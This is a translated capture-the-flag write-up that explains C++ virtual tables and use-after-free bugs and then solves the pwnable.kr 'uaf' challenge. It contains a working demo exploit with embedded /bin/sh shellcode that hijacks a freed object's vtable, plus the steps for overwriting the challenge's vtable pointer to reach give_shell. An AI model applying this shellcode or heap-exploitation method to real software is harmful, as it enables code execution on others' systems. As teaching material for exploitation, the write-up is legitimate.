Solving a job with pwnable.kr 16 - uaf. Use after free vulnerability

image






In this article, we will consider what UAF is and also solve the 16th task from the site pwnable.kr .



Organizational Information
Especially for those who want to learn something new and develop in any of the areas of information and computer security, I will write and talk about the following categories:

  • PWN;
  • cryptography (Crypto);
  • network technologies (Network);
  • reverse (Reverse Engineering);
  • steganography (Stegano);
  • search and exploitation of WEB vulnerabilities.


In addition to this, I will share my experience in computer forensics, analysis of malware and firmware, attacks on wireless networks and local area networks, conducting pentests and writing exploits.



So that you can find out about new articles, software and other information, I created a channel in Telegram and a group to discuss any issues in the field of ICD. Also, I will personally consider your personal requests, questions, suggestions and recommendations personally and will answer everyone .



All information is provided for educational purposes only. The author of this document does not bear any responsibility for any damage caused to anyone as a result of using knowledge and methods obtained as a result of studying this document.



Inheritance and virtual methods



Virtual function - in object-oriented programming, a class function that can be overridden in successor classes. Thus, the programmer does not need to know the exact type of the object to work with it through virtual methods: it is enough to know that the object belongs to the class or the descendant of the class in which the method is declared.



Simply put, imagine that we have a base class Animal defined that has a virtual function sreak. So the Animal class can have two child classes Cat and Dog. The virtual function Cat: sreak () will output myau, and Dog: sreak will output gav. But if the same structure is stored in memory, how does the program understand which of the sreaks should be called?



All work is provided by the table of virtual methods (TVM), or as defined by vtable.



Each class has its own TVM and the compiler adds its virtual table pointer (vptr - pointer to vtable), as the first local variable of this object. Let's check.

#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; }
      
      





Compile and run to see the output.

 g++ ex.c -o ex.bin
      
      





image



Now run under the debugger in the IDA and stop before calling the first function. Go to the HEX-View window and synchronize it with the RAX register.



image



In the selected fragment, we see the value of the variables var1 when defining variables of the ANIMALS and CAT type. There are addresses in front of both variables, as we said, these are pointers to VMT (0x559f9898fd90 and 0x559f9898fd70).



Let's see what happens when func1 is called:

  1. First, in RAX, we will have an address on the object using the ptr pointer.
  2. Further in RAX the first value of the object is read - a pointer to VMT (to its first element).
  3. In RAX, the first value from VMT is read - a pointer to the same virtual method.
  4. In RDX, a pointer to an object is entered (more commonly this).
  5. A virtual method call is made.




image



When func2 is called, the same thing happens, with one exception, not the first record (RAX), but the second (RAX + 8) is read from VMT. This is the mechanism for working with virtual methods.



image



UAF



This vulnerability is typical for the heap, since the stack is designed to store data of a small amount (local variables). The heap, being dynamic memory, is just perfect for storing large amounts of data. In this case, the allocation and release of memory can occur during program execution. But because of this, it is necessary to monitor which memory is occupied and which is not. To do this, you need a service header for the allocated memory block. It contains the start address and a pointer to the first element of the block. And at the same time a heap, unlike a stack, grows down.



The essence of the vulnerability is that after freeing up memory, the program may refer to this area. So there are hanging pointers. Change the program code and verify this.

 int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; }
      
      





image



Let's find where the program crashes. By analogy with the previous example, I stop before calling the function and sync Hex-View with RAX. We see on which our object should be located. But when executing the following instruction, 0 remains in the RAX register. And already trying to dereference 0, the program crashes.



image



image



Thus, for the exploitation of UAF, it is necessary to transfer the shellcode to the program, and then go to its beginning through the hanging pointer (in VMT). This is possible due to the fact that the heap at the request allocates a block of memory that was freed earlier and in this way we can emulate VMT, which will point to the shellcode. In other words, where the address of the VMT function was previously located, the shellcode address will now be located. But we cannot guarantee that the memory for the only selected object will coincide with the just cleared zone, therefore we will create several such objects in a loop.



Let's look at an example. First, take the shellcode, for example, from here .

 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
      
      





And complement our code:

 #include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; }
      
      





After compiling and running, we get a full shell.



image



Uaf job solution



We click on the uaf-signed icon and we are told that we need to connect via SSH with the password guest.



image



When connected, we see the corresponding banner.



image



Let's find out what files are on the server, as well as what rights we have.



image



Let's see the source code
 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
      
      







At the very beginning of the program, we have two objects of classes inherited from the Human class. Which has a function giving us a shell.



image



Next, we are invited to introduce one of three actions:

  1. display object information;
  2. write to a bunch of data accepted as a program parameter;
  3. delete the created object.




image



Since UAF vulnerability is considered in this task, the plan should be as follows: create - delete - write to the heap - receive information.



The only step that we have full control over is writing to the heap. But before recording, we need to know how VMT looks for these objects and the address of the function that gives us the shell. Using an example, we understood how VMT works, pointers to addresses are stored one after another, i.e.

func2 = * func1 + sizeof (* func1), func3 = * func1 + 2 * sizeof (* func2) etc.



Since the first function in VMT will be give_shell (), and when the function Man :: introduce () is called, the second address of VMT will be the address enter. Given the 64-bit system: * introduce = * give_shell + 8. We will find confirmation of this:



image



The line main + 272 proves our assumption, since the address relative to the base increases by 8.



Set a breakpoint and look at the contents of EAX to determine the base address.



image



image



image



We found the base address: 0x0000000000401570. Thus, instead of the shell, we need to write the address give_shell () in the heap, reduced by 8 so that it would be taken as the VMT base, while increasing by 8, the program gave us a shell.



image



The program as a parameter is the number of bytes that it reads from the file, and the name of the file. It remains a little to overwrite the data, you need to allocate a memory block the size of a freed block. Find the size of the block that occupies one object.



image



Thus, before creating the object 0x18 = 24 bytes are reserved. That is, we need to compose a file consisting of 24 bytes.



image



Since the program frees two objects, we will have to write the data twice.



image



We get the shell, read the flag, we get 8 points.



image



You can join us on Telegram . Next time we will deal with align memory.



All Articles